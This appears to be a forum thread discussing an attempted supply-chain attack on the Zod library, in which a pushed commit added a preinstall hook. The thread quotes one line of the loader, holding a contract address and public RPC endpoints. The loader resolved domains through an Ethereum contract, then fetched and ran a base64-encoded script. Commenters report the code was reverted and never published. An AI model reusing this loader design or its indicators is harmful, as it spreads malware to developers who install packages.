Zod 4.6.6 ships a preinstall script that pulls a payload from an Ethereum contract
Zod 4.6.6 compromised by malware?
The Zod 4.6.6 release adds a preinstall hook that runs meta.test.mjs, which queries an Ethereum contract via public RPC endpoints to retrieve a list of domains, fetches a base64-encoded setup script from one of them, and executes it. The commit also changes the release workflow to publish automatically on pushes to main that modify package.json.
const C="0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523",S="0x53ed5143",R=["https://eth.llamarpc.com","https://ethereum-rpc.publicnode.com","https://cloudflare-eth.com"];
- jaynetics
The compromised code wasn't actually released. This write-up has a lot of information:
- yuvalkarmi
This is 3 weeks back, folks. It WAS real repository compromise - it made it to Zod's main, but not to npm.
On September 21, someone used Colin's git credentials to push this compromised code into the project, Colin caught it, and reverted it that same day (PR #6620). He subsequently did release 4.6.6 on October 11, but it did NOT contain the infected code.
Btw, Zod wasn't the only package targeted - same attack was attempted against standard-schema and nub. Nub DID make it to npm, but npm's malware scanning blocked it.
Looks like a legit (well, illegitimate) attempted supply-chain attack, but no actual Zod release was compromised.
- luggage_bazooka
The most recent version 4.6.6 has a very interesting commit (d821685) "Fix bugs and improve performance", that contain the following changes https://github.com/colinhacks/zod/commit/d821685ea6732436fcd...
I didn't study what packages/mini/meta.test.mjs is doing in particular but it's not looking great
- jaapz
Might is pretty tame, it is infected - EDIT: title was changed, it said "might be infected".
The malware seems to inject some JS payload to execute when zod is installed, by fetching it from an ethereum smart contract (if I understand it correctly).
Don't forget to flag the version on npm.
EDIT: looks like the update never got on NPM: https://news.ycombinator.com/item?id=50053253
- xx_ns
Interestingly, they added the `preinstall` key (that is supposed to run the malicious script when installed) under the package.json root, and not under `scripts`, so from what I can tell this wouldn't run on install.
Otherwise, yeah, this seems like a stage-1 loader for fetching and running a payload off the Ethereum mainnet.